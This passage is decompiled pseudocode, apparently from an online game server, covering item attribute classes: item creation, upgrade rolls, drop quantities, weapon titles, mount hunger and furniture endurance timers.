&this->baseclass_0.baseclass_0, (ItemOptionStorage *)itm->iti_itemstruct.itemattr.amulet.upgradeopton, arg); v7 = v4[1]; if ( v7 == 85 || v7 == 117 ) { sscanf(v4 + 2, "%d"); v6->iti_itemstruct.itemattr.blot.lot = (char)itm; } else { if ( v7 == 83 || v7 == 115 ) { sscanf(v4 + 2, "%d"); HIBYTE(v6->iti_itemstruct.itemattr.wlot.lot) = (_BYTE)itm; } } } } //----- (00550F90) -------------------------------------------------------- void __thiscall ItemAttrCls_Furniture::iac_itemcreate(ItemAttrCls_Furniture *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char v4; // dl@1 int v5; // esi@1 v4 = itm->iti_itemstruct.itemattr.blot.lot & 0xFE; BYTE3(itm->iti_itemstruct.itemattr.dlot.lot) = 0; v5 = *(unsigned int *)((char *)&itm->iti_itemstruct.itemattr.dlot.lot + 3); itm->iti_itemstruct.itemattr.blot.lot = v4; *(unsigned int *)((char *)&itm->iti_itemstruct.itemattr.dlot.lot + 3) = (unsigned __int8)v5; HIBYTE(itm->iti_itemstruct.itemattr.amulet.option.optionlist[1].itemoption_value) = 0; *(_DWORD *)((char *)&itm->iti_itemstruct.itemattr.amulet.option.optionlist[1].itemoption_value + 1) &= 0xFFu; *(_DWORD *)&itm->iti_itemstruct.itemattr.amulet.upgradeopton[0] = 1133117440; *(_DWORD *)&itm->iti_itemstruct.itemattr.amulet.upgradeopton[2] = 1136820224; *(_QWORD *)&itm->iti_itemstruct.itemattr.amulet.upgradeopton[4] = 1086324736i64; *(unsigned __int16 *)((char *)&itm->iti_itemstruct.itemattr.wlot.lot + 1) = 0; itm->iti_itemstruct.itemattr.amulet.option.optionlist[3].itemoption_type = 0; *(_QWORD *)&itm->iti_itemstruct.itemattr.amulet.option.optionlist[3].itemoption_value = 0i64; } //----- (00550FE0) -------------------------------------------------------- void __thiscall ItemAttrCls_BindItem::iac_itemcreate(ItemAttrCls_BindItem *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char *v4; // esi@1 char v5; // al@1 char v6; // al@4 char *v7; // ecx@6 bool v8; // zf@6 bool v9; // sf@6 char *v10; // eax@7 v4 = arg; v5 = arg[1]; if ( v5 == 79 || v5 == 111 ) ((void (__stdcall *)(_DWORD, _DWORD, _DWORD))this->baseclass_0.baseclass_0.vfptr->iac_itemcreate)(itmid, itm, "-n1"); v6 = v4[1]; if ( v6 == 78 || v6 == 110 ) { sscanf(v4 + 2, "%d"); v7 = arg; v8 = arg == 0; v9 = (signed int)arg < 0; itm->iti_itemstruct.itemattr.blot.lot = (char)arg; if ( !(v9 | v8) ) { v10 = (char *)itm->iti_itemstruct.itemattr.amulet.upgradeopton; do { *((_DWORD *)v10 - 1) = 10000; *(_DWORD *)v10 = 10000; *((_WORD *)v10 - 3) = -1; v10 += 10; --v7; } while ( v7 ); } } } //----- (00551060) -------------------------------------------------------- void __thiscall ItemAttrCls_ItemChest::iac_itemcreate(ItemAttrCls_ItemChest *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char v4; // al@1 v4 = arg[1]; if ( v4 == 79 || v4 == 111 ) itm->iti_itemstruct.itemattr.blot.lot &= 0xF0u; } //----- (00551080) -------------------------------------------------------- void __thiscall ItemAttrCls_KQStep::iac_itemcreate(ItemAttrCls_KQStep *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char v4; // al@1 v4 = arg[1]; if ( v4 == 79 || v4 == 111 ) { *(_WORD *)&itm->iti_itemstruct.itemattr.blot.lot = 0; } else { if ( v4 == 83 || v4 == 115 ) { sscanf(arg + 2, "%d"); *(_WORD *)&itm->iti_itemstruct.itemattr.blot.lot = (_WORD)arg; } } } //----- (005510D0) -------------------------------------------------------- void __thiscall ItemAttrCls_Riding::iac_itemcreate(ItemAttrCls_Riding *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { *(_WORD *)&itm->iti_itemstruct.itemattr.blot.lot = RidingInitHungry(itmid); *(unsigned int *)((char *)&itm->iti_itemstruct.itemattr.dlot.lot + 2) = 0; *(_WORD *)&itm->iti_itemstruct.itemattr.amulet.upgradefailcount = 0; } //----- (00551100) -------------------------------------------------------- void __thiscall ItemAttrCls_Amount::iac_itemcreate(ItemAttrCls_Amount *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { ItemDataBox::ItemDataBoxIndex *v4; // eax@1 v4 = ItemDataBox::operator__(&itemdatabox, itm->iti_itemstruct.itemid); if ( v4 ) *(_DWORD *)&itm->iti_itemstruct.itemattr.blot.lot = v4->data->MaxLot; else *(_DWORD *)&itm->iti_itemstruct.itemattr.blot.lot = 1000; } //----- (00551140) -------------------------------------------------------- void __thiscall ItemAttrCls_CostumWeapon::iac_itemcreate(ItemAttrCls_CostumWeapon *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { *(_DWORD *)&itm->iti_itemstruct.itemattr.blot.lot = 0; *(_DWORD *)&itm->iti_itemstruct.itemattr.blot.lot = WeaponCostumInitCharge(itmid); } //----- (00551170) -------------------------------------------------------- void __thiscall ItemAttrCls_MiniHouseSkin::iac_itemcreate(ItemAttrCls_ActionItem *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { *(_DWORD *)&itm->iti_itemstruct.itemattr.blot.lot = 0; } //----- (00551180) -------------------------------------------------------- int __thiscall ItemAttrCls_CostumWeapon::iac_GetChargedNumber(ItemAttrCls_CostumWeapon *this, ItemTotalInformation *iti) { return *(_DWORD *)&iti->iti_itemstruct.itemattr.blot.lot; } //----- (00551190) -------------------------------------------------------- void __thiscall ItemAttrCls_CostumWeapon::iac_SetChargedNumber(ItemAttrCls_CostumWeapon *this, ItemTotalInformation *iti, int num) { *(_DWORD *)&iti->iti_itemstruct.itemattr.blot.lot = num; } //----- (005511A0) -------------------------------------------------------- char __thiscall ItemAttrCls_Riding::iac_GetDuringRide(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itemstruct) { return *(_WORD *)&itemstruct->itemattr.amulet.upgradefailcount >> 15; } //----- (005511B0) -------------------------------------------------------- void __thiscall ItemAttrCls_Riding::iac_SetDuringRide(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itemstruct, char ride) { *(_WORD *)&itemstruct->itemattr.amulet.upgradefailcount = *(_WORD *)&itemstruct->itemattr.amulet.upgradefailcount & 0x7FFF | ((unsigned __int8)ride << 15); } //----- (005511E0) -------------------------------------------------------- int __cdecl upgradeselect(ShineReward *reward) { unsigned int v1; // eax@1 char *v2; // eax@1 int v3; // ecx@1 int v4; // eax@1 unsigned int v5; // ecx@1 char *v6; // edx@1 int v7; // esi@2 v1 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v1; v2 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v1]]; v3 = *((_DWORD *)v2 + 8193) & (*((_DWORD *)v2 + 8192) + 1); *((_DWORD *)v2 + 8192) = v3; v4 = *(_WORD *)&v2[2 * v3]; v5 = 0; v6 = (char *)reward->Upgrade; do { v7 = *(_WORD *)v6; if ( v4 < v7 ) break; v4 -= v7; ++v5; v6 += 2; } while ( v5 < 0xA ); return v5 < 0xA ? v5 : 0; } //----- (00551250) -------------------------------------------------------- void __thiscall ItemAttrCls_ByteLot::iac_itemcreate(ItemAttrCls_ByteLot *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm) { itm->iti_itemstruct.itemattr.blot.lot = LOBYTE(reward->Quantity); } //----- (00551270) -------------------------------------------------------- void __thiscall ItemAttrCls_DwrdLot::iac_itemcreate(ItemAttrCls_DwrdLot *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm) { *(_DWORD *)&itm->iti_itemstruct.itemattr.blot.lot = reward->Quantity; } //----- (00551290) -------------------------------------------------------- void __thiscall ItemAttrCls_WordLot::iac_itemcreate(ItemAttrCls_QuestLot *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm) { *(_WORD *)&itm->iti_itemstruct.itemattr.blot.lot = LOWORD(reward->Quantity); } //----- (005512B0) -------------------------------------------------------- void __thiscall ItemAttrCls_Amulet::iac_itemcreate(ItemAttrCls_Amulet *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm) { ((void (__stdcall *)(_DWORD, _DWORD, _DWORD))this->baseclass_0.baseclass_0.vfptr->iac_itemcreate)( itmid, itm, &stru_598DE4.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_Current); ItemOptionsData::OptionCardStack::ocs_make( (ItemOptionsData::OptionCardStack *)(36 * reward->OptionDegree + 342220788), &itm->iti_itemstruct.itemattr.amulet.option); } //----- (005512F0) -------------------------------------------------------- void __thiscall ItemAttrCls_Weapon::iac_itemcreate(ItemAttrCls_Weapon *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm) { ((void (__stdcall *)(_DWORD, _DWORD, _DWORD))this->baseclass_0.baseclass_0.vfptr->iac_itemcreate)( itmid, itm, &stru_598DE4.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_Current); BYTE2(itm->iti_itemstruct.itemattr.dlot.lot) = 0; itm->iti_itemstruct.itemattr.blot.lot = upgradeselect(reward); ItemOptionsData::OptionCardStack::ocs_make( (ItemOptionsData::OptionCardStack *)(36 * reward->OptionDegree + 342220788), &itm->iti_itemstruct.itemattr.weapon.option); } //----- (00551340) -------------------------------------------------------- void __thiscall ItemAttrCls_Armor::iac_itemcreate(ItemAttrCls_Boot *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm) { ((void (__stdcall *)(_DWORD, _DWORD, _DWORD))this->baseclass_0.baseclass_0.vfptr->iac_itemcreate)( itmid, itm, &stru_598DE4.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_Current); BYTE2(itm->iti_itemstruct.itemattr.dlot.lot) = 0; itm->iti_itemstruct.itemattr.blot.lot = upgradeselect(reward); ItemOptionsData::OptionCardStack::ocs_make( (ItemOptionsData::OptionCardStack *)(36 * reward->OptionDegree + 342220788), (ItemOptionStorage *)itm->iti_itemstruct.itemattr.amulet.upgradeopton); } //----- (00551390) -------------------------------------------------------- int __thiscall ItemAttributeClass::iac_equipbriefinfo(ItemAttributeClass *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel) { nc->protocol = 7172; nc[1].protocol = hnd; LOBYTE(nc[2].protocol) = slot; return 5; } //----- (005513C0) -------------------------------------------------------- int __thiscall ItemAttrCls_Amulet::iac_equipbriefinfo(ItemAttrCls_Amulet *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel) { return 0; } //----- (005513D0) -------------------------------------------------------- int __thiscall ItemAttrCls_Weapon::iac_equipbriefinfo(ItemAttrCls_Weapon *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel) { signed int v7; // eax@1 char *v8; // edx@1 char *v9; // eax@7 unsigned __int16 v10; // cx@7 nc->protocol = 7173; nc[1].protocol = hnd; nc[2].protocol = itm->itemid; LOBYTE(nc[3].protocol) = itm->itemattr.blot.lot; v7 = 0; v8 = (char *)&itm->itemattr.dlot.lot + 3; while ( *(_WORD *)&itm->itemattr.amulet.option.optionlist[1].itemoption_type != *(_WORD *)v8 ) { ++v7; v8 += 6; if ( v7 >= 3 ) { *(unsigned __int16 *)((char *)&nc[3].protocol + 1) = -1; HIBYTE(nc[4].protocol) = 0; goto LABEL_8; } } if ( v7 < 3 ) { v9 = (char *)itm + 6 * v7; v10 = *(_WORD *)(v9 + 5); *(unsigned __int16 *)((char *)&nc[3].protocol + 1) = v10; HIBYTE(nc[4].protocol) = CWeaponTitle::GetLevel( weapontitle, v10, (unsigned int)((char *)&pathfindtable.pft_table[1411][1203].pfc_distance + 3) & *(_DWORD *)(v9 + 7)); } else { *(unsigned __int16 *)((char *)&nc[3].protocol + 1) = -1; HIBYTE(nc[4].protocol) = 0; } LABEL_8: if ( pOutNew_WT_MobID ) *pOutNew_WT_MobID = *(unsigned __int16 *)((char *)&nc[3].protocol + 1); if ( pOutNew_WT_TitleLevel ) *pOutNew_WT_TitleLevel = HIBYTE(nc[4].protocol); return 10; } //----- (00551480) -------------------------------------------------------- int __thiscall ItemAttrCls_Shield::iac_equipbriefinfo(ItemAttrCls_Boot *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel) { nc->protocol = 7171; nc[1].protocol = hnd; nc[2].protocol = itm->itemid; LOBYTE(nc[3].protocol) = itm->itemattr.blot.lot; return 7; } //----- (005514B0) -------------------------------------------------------- int __thiscall ItemAttrCls_CostumWeapon::iac_equipbriefinfo(ItemAttrCls_CostumWeapon *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel) { nc->protocol = 7170; nc[1].protocol = hnd; nc[2].protocol = itm->itemid; return 6; } //----- (005514E0) -------------------------------------------------------- void __thiscall ItemAttrCls_ByteLot::iac_DropItemMake(ItemAttrCls_ByteLot *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000) { signed __int64 v4; // qax@1 v4 = rnd1000 * (ig->ig_quantityhigh - ig->ig_quantitylow + 1) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3); itm->iti_itemstruct.itemattr.blot.lot = LOBYTE(ig->ig_quantitylow) + (SHIDWORD(v4) >> 6) + (unsigned __int8)(HIDWORD(v4) >> 31); } //----- (00551520) -------------------------------------------------------- void __thiscall ItemAttrCls_WordLot::iac_DropItemMake(ItemAttrCls_WordLot *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000) { signed __int64 v4; // qax@1 v4 = rnd1000 * (ig->ig_quantityhigh - ig->ig_quantitylow + 1) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3); *(_WORD *)&itm->iti_itemstruct.itemattr.blot.lot = ig->ig_quantitylow + (SHIDWORD(v4) >> 6) + (unsigned __int16)(HIDWORD(v4) >> 31); } //----- (00551560) -------------------------------------------------------- void __thiscall ItemAttrCls_DwrdLot::iac_DropItemMake(ItemAttrCls_DwrdLot *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000) { *(_DWORD *)&itm->iti_itemstruct.itemattr.blot.lot = ig->ig_quantitylow + ((signed int)((unsigned __int64)(rnd1000 * (ig->ig_quantityhigh - ig->ig_quantitylow + 1) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(rnd1000 * (ig->ig_quantityhigh - ig->ig_quantitylow + 1) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); } //----- (005515A0) -------------------------------------------------------- void __thiscall ItemAttrCls_Weapon::iac_DropItemMake(ItemAttrCls_Weapon *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000) { unsigned int v4; // eax@1 char *v5; // ecx@1 char *v6; // eax@6 signed int v7; // ecx@6 v4 = 0; v5 = (char *)ig->ig_upgraderate; while ( *(_WORD *)v5 <= rnd1000 ) { ++v4; v5 += 2; if ( v4 >= 0x10 ) goto LABEL_6; } itm->iti_itemstruct.itemattr.blot.lot = v4; LABEL_6: itm->iti_itemstruct.itemattr.blot.lot = 0; v6 = &itm->iti_itemstruct.itemattr.amulet.strengthen; v7 = 3; do { *((_WORD *)v6 - 1) = -1; *(_DWORD *)v6 = 0; v6 += 6; --v7; } while ( v7 ); itm->iti_itemstruct.itemattr.weapon.option.fixed.optionnumber.str._bf0 = 1; } //----- (00551600) -------------------------------------------------------- void __thiscall ItemAttrCls_Armor::iac_DropItemMake(ItemAttrCls_Boot *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000) { unsigned int v4; // eax@1 char *v5; // ecx@1 v4 = 0; v5 = (char *)ig->ig_upgraderate; while ( *(_WORD *)v5 <= rnd1000 ) { ++v4; v5 += 2; if ( v4 >= 0x10 ) { itm->iti_itemstruct.itemattr.blot.lot = 0; LOBYTE(itm->iti_itemstruct.itemattr.amulet.upgradeopton[0]) = 1; return; } } itm->iti_itemstruct.itemattr.blot.lot = v4; itm->iti_itemstruct.itemattr.blot.lot = 0; LOBYTE(itm->iti_itemstruct.itemattr.amulet.upgradeopton[0]) = 1; } //----- (00551640) -------------------------------------------------------- int __thiscall ItemAttributeClass::iac_wptitle_Setlicense(ItemAttributeClass *this, ItemTotalInformation *itm, unsigned __int16 mobid, Name4 *pcharid) { return 3; } //----- (00551650) -------------------------------------------------------- int __thiscall ItemAttrCls_Weapon::iac_wptitle_Setlicense(ItemAttrCls_Weapon *this, ItemTotalInformation *itm, unsigned __int16 mobid, Name4 *pcharid) { signed int v4; // eax@1 char *v5; // ecx@1 signed int v6; // eax@4 char *v7; // ecx@4 signed int v9; // ecx@9 v4 = 0; v5 = (char *)&itm->iti_itemstruct.itemattr.dlot.lot + 3; do { if ( *(_WORD *)v5 == mobid ) return 1; ++v4; v5 += 6; } while ( v4 < 3 ); v6 = 0; v7 = (char *)&itm->iti_itemstruct.itemattr.dlot.lot + 3; while ( *(_WORD *)v7 != -1 ) { ++v6; v7 += 6; if ( v6 >= 3 ) return 2; } v9 = 0; if ( *(_WORD *)((char *)&itm->iti_itemstruct.itemattr.dlot.lot + 3) != -1 ) v9 = 1; if ( itm->iti_itemstruct.itemattr.amulet.upgradeopton[1] != -1 ) ++v9; if ( itm->iti_itemstruct.itemattr.amulet.upgradeopton[4] != -1 ) ++v9; if ( !v9 ) { *(_QWORD *)((char *)&itm->iti_itemstruct.itemattr.amulet.option.optionlist[1].itemoption_value + 1) = *(_QWORD *)&pcharid->n4_name[0]; *(_QWORD *)&itm->iti_itemstruct.itemattr.amulet.option.optionlist[4].itemoption_value = *(_QWORD *)&pcharid->n4_name[8]; itm->iti_itemstruct.itemattr.amulet.option.optionlist[7].itemoption_type = 0; } *(_WORD *)((char *)&itm->iti_itemstruct.itemattr.dlot.lot + 6 * v6 + 3) = mobid; return 0; } //----- (005516F0) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_Weapon::iac_wptitle_mobkilladd(ItemAttrCls_Weapon *this, ItemTotalInformation *itm, unsigned __int16 mobid, unsigned int addvalue) { signed int v4; // eax@1 char *v5; // ecx@1 unsigned int result; // eax@4 int v7; // eax@5 int v8; // ecx@5 char *v9; // edx@5 v4 = 0; v5 = (char *)&itm->iti_itemstruct.itemattr.dlot.lot + 3; while ( *(_WORD *)v5 != mobid ) { ++v4; v5 += 6; if ( v4 >= 3 ) return -1; } v7 = 3 * v4; v8 = *(_DWORD *)(&itm->iti_itemstruct.itemattr.amulet.strengthen + 2 * v7); v9 = &itm->iti_itemstruct.itemattr.amulet.strengthen + 2 * v7; result = addvalue + ((unsigned int)((char *)&pathfindtable.pft_table[1411][1203].pfc_distance + 3) & v8); *(_DWORD *)v9 = v8 ^ (unsigned int)((char *)&pathfindtable.pft_table[1411][1203].pfc_distance + 3) & (result ^ v8); return result; } //----- (00551740) -------------------------------------------------------- char (*__thiscall ItemAttributeClass::iac_wptitle_Gettitle(ItemAttributeClass *this, ItemTotalInformation *itm))[17] { return (char (*)[17])&nullstr; } //----- (00551750) -------------------------------------------------------- char (*__thiscall ItemAttrCls_Weapon::iac_wptitle_Gettitle(ItemAttrCls_Weapon *this, ItemTotalInformation *itm))[17] { return (char (*)[17])((char *)&itm->iti_itemstruct.itemattr.amulet.option.optionlist[1].itemoption_value + 1); } //----- (00551760) -------------------------------------------------------- bool __thiscall ItemAttrCls_Weapon::iac_wptitle_Settitle(ItemAttrCls_Weapon *this, ItemTotalInformation *itm, unsigned int chrregnum, char (*ptitle)[17]) { char (*v4)[17]; // eax@1 char v5; // cl@2 v4 = ptitle; do { v5 = *(_BYTE *)v4; (*v4)[(char *)&itm->iti_itemstruct.itemattr.amulet.option.optionlist[1].itemoption_value + 1 - (char *)ptitle] = *(_BYTE *)v4; v4 = (char (*)[17])((char *)v4 + 1); } while ( v5 ); return 1; } //----- (00551780) -------------------------------------------------------- void __thiscall ItemAttrCls_Riding::iac_FoodEat(ItemAttrCls_Riding *this, ItemTotalInformation *itm, int hungry, int maxhungry) { int v4; // eax@1 v4 = hungry + *(_WORD *)&itm->iti_itemstruct.itemattr.blot.lot; if ( v4 > maxhungry ) v4 = maxhungry; if ( v4 < 0 ) LOWORD(v4) = 0; *(_WORD *)&itm->iti_itemstruct.itemattr.blot.lot = v4; } //----- (005517B0) -------------------------------------------------------- int __thiscall ItemAttrCls_Riding::iac_GetHungry(ItemAttrCls_Riding *this, ItemTotalInformation *itm) { return *(_WORD *)&itm->iti_itemstruct.itemattr.blot.lot; } //----- (005517C0) -------------------------------------------------------- unsigned __int16 __thiscall ItemAttributeClass::iac_wptitle_Getlicencemob(ItemAttributeClass *this, MobDataBox *mdb, ItemDataBox *idb, ItemTotalInformation *itm) { return -1; } //----- (005517D0) -------------------------------------------------------- unsigned __int16 __thiscall ItemAttrCls_WeaponTitlaLicence::iac_wptitle_Getlicencemob(ItemAttrCls_WeaponTitlaLicence *this, MobDataBox *mdb, ItemDataBox *idb, ItemTotalInformation *itm) { ItemDataBox::ItemDataBoxIndex *v4; // eax@1 unsigned int v5; // eax@2 v4 = ItemDataBox::operator__(idb, itm->iti_itemstruct.itemid); if ( v4 ) { v5 = BTree::operator__(&mdb->mdb_btree, &v4->data->InxName[4]); if ( v5 == -1 ) LOWORD(v5) = -1; } else { LOWORD(v5) = -1; } return v5; } //----- (00551810) -------------------------------------------------------- void __thiscall ItemAttrCls_Furniture::iac_SetFurnitureKey(ItemAttrCls_Furniture *this, ItemTotalInformation *iti, unsigned __int16 key) { *(unsigned __int16 *)((char *)&iti->iti_itemstruct.itemattr.wlot.lot + 1) = key; } //----- (00551820) -------------------------------------------------------- int __thiscall ItemAttrCls_Furniture::iac_SetEndureEndTime(ItemAttrCls_Furniture *this, ItemTotalInformation *iti, ShineDateTime *dEndureEndTime) { int v3; // eax@2 int result; // eax@3 if ( iti && (v3 = ((int (__stdcall *)(_DWORD))this->baseclass_0.baseclass_0.vfptr->iac_GetEndureEndTime)(&iti->iti_itemstruct)) != 0 ) { *(_DWORD *)v3 = dEndureEndTime->_bf0; result = 1; } else { result = 0; } return result; } //----- (00551850) -------------------------------------------------------- int __thiscall ItemAttrCls_Furniture::iac_SetEndureEndTime(ItemAttrCls_Furniture *this, ItemTotalInformation *iti, unsigned __int16 nAddEndureTime, unsigned __int16 nMaxEndure, tm *dCurTime) { int result; // eax@1 int v6; // ebx@2 unsigned int v7; // eax@9 struct tm *v8; // ecx@9 int v9; // esi@10 int v10; // eax@10 bool v11; // sf@10 unsigned __int8 v12; // of@10 const void *v13; // esi@10 int v14; // eax@12 int v15; // eax@14 int tAfter_MaxEndure; // [sp+4h] [bp-94h]@9 struct tm dCompEndEndureTime; // [sp+8h] [bp-90h]@10 struct tm dAfter_MaxEndure; // [sp+2Ch] [bp-6Ch]@9 struct tm dAfter_AddEndureTime; // [sp+50h] [bp-48h]@12 struct tm dCompCurTime; // [sp+74h] [bp-24h]@10 result = (int)iti; if ( iti ) { result = ((int (__stdcall *)(_DWORD))this->baseclass_0.baseclass_0.vfptr->iac_GetEndureEndTime)(&iti->iti_itemstruct); v6 = result; if ( result ) { if ( !nMaxEndure ) { *(_DWORD *)result = 1992027391; return 1; } if ( *(_BYTE *)result == -1 ) return 1; if ( dCurTime ) { memcpy((void *)&dAfter_MaxEndure, dCurTime, sizeof(dAfter_MaxEndure)); dAfter_MaxEndure.tm_hour += nMaxEndure; tAfter_MaxEndure = mktime(&dAfter_MaxEndure); v7 = *(_DWORD *)v6; v8 = &dAfter_MaxEndure; if ( (unsigned __int8)*(_DWORD *)v6 ) { dCompEndEndureTime.tm_year = (unsigned __int8)*(_DWORD *)v6 + 100; dCompEndEndureTime.tm_mon = ((v7 >> 8) & 0x1F) - 1; dCompEndEndureTime.tm_mday = (v7 >> 13) & 0x3F; dCompEndEndureTime.tm_min = v7 >> 25; dCompEndEndureTime.tm_hour = (v7 >> 19) & 0x3F; dCompEndEndureTime.tm_sec = 0; memcpy((void *)&dCompCurTime, dCurTime, sizeof(dCompCurTime)); v9 = mktime(&dCompCurTime); v10 = mktime(&dCompEndEndureTime); v12 = __OFSUB__(v10, v9); v11 = v10 - v9 < 0; v13 = dCurTime; if ( !(v11 ^ v12) ) v13 = &dCompEndEndureTime; memcpy((void *)&dAfter_AddEndureTime, v13, sizeof(dAfter_AddEndureTime)); dAfter_AddEndureTime.tm_hour += nAddEndureTime; v14 = mktime(&dAfter_AddEndureTime); v8 = &dAfter_MaxEndure; if ( tAfter_MaxEndure >= v14 ) v8 = &dAfter_AddEndureTime; } v15 = v8->tm_hour; *(_BYTE *)v6 = LOBYTE(v8->tm_year) - 100; *(_DWORD *)v6 = *(_DWORD *)v6 & 0xFF | (((unsigned __int16)v8->tm_mon + 1) << 8) & 0x1F00 | ((v8->tm_mday & 0x3F | (((v8->tm_min << 6) | v15 & 0x3F) << 6)) << 13); result = 1; } else { result = 0; } } } return result; } //----- (00551A00) -------------------------------------------------------- void __thiscall ItemAttrCls_Furniture::iac_SetEndureGrade(ItemAttrCls_Furniture *this, ItemTotalInformation *iti, char nEndureGrade) { iti->iti_itemstruct.itemattr.amulet.option.optionlist[3].itemoption_type = nEndureGrade; } //----- (00551A10) -------------------------------------------------------- ShineDateTime *__thiscall ItemAttrCls_ActionItem::iac_SetDeteleDateTime(ItemAttrCls_ActionItem *this, SHINE_ITEM_STRUCT *itm, int hour, tm *curtime, int curhour) { ItemAttributeClass::iac_SetEndTime(&this->baseclass_0, (ShineDateTime *)&itm->itemattr, hour, curtime, curhour); return (ShineDateTime *)&itm->itemattr; } //----- (00551A40) -------------------------------------------------------- ShineDateTime *__thiscall ItemAttrCls_Riding::iac_SetDeteleDateTime(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itm, int hour, tm *curtime, int curhour) { ItemAttributeClass::iac_SetEndTime( &this->baseclass_0.baseclass_0, (ShineDateTime *)((char *)&itm->itemattr.dlot.lot + 2), hour, curtime, curhour); return (ShineDateTime *)((char *)&itm->itemattr.dlot.lot + 2); } //----- (00551A70) -------------------------------------------------------- void __thiscall ItemAttributeClassContainer::ItemAttributeClassContainer(ItemAttributeClassContainer *this) { ItemAttributeClassContainer *v1; // ebp@1 this->iacc_default.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_bytelot.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_ByteLot::_vftable_; this->iacc_wordlot.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_WordLot::_vftable_; this->iacc_dwrdlot.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_DwrdLot::_vftable_; this->iacc_quest.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_QuestLot::_vftable_; this->iacc_amulet.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Amulet::_vftable_; this->iacc_weapon.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Weapon::_vftable_; this->iacc_armor.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Armor::_vftable_; this->iacc_shield.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Shield::_vftable_; this->iacc_boot.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Boot::_vftable_; this->iacc_furniture.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Furniture::_vftable_; this->iacc_decorate.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Decoration::_vftable_; this->iacc_skillscroll.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_SkillScroll::_vftable_; this->iacc_recallscroll.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_RecallScroll::_vftable_; this->iacc_binditem.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_BindItem::_vftable_; this->iacc_upsource.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_UpSource::_vftable_; this->iacc_itemchest.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_ItemChest::_vftable_; this->iacc_weapontitlalicence.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_WeaponTitlaLicence::_vftable_; this->iacc_kingdomquest.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_KingdomQuestItem::_vftable_; this->iacc_minihouseskin.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_MiniHouseSkin::_vftable_; this->iacc_upgraderedgem.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_UpgradeRedGem::_vftable_; 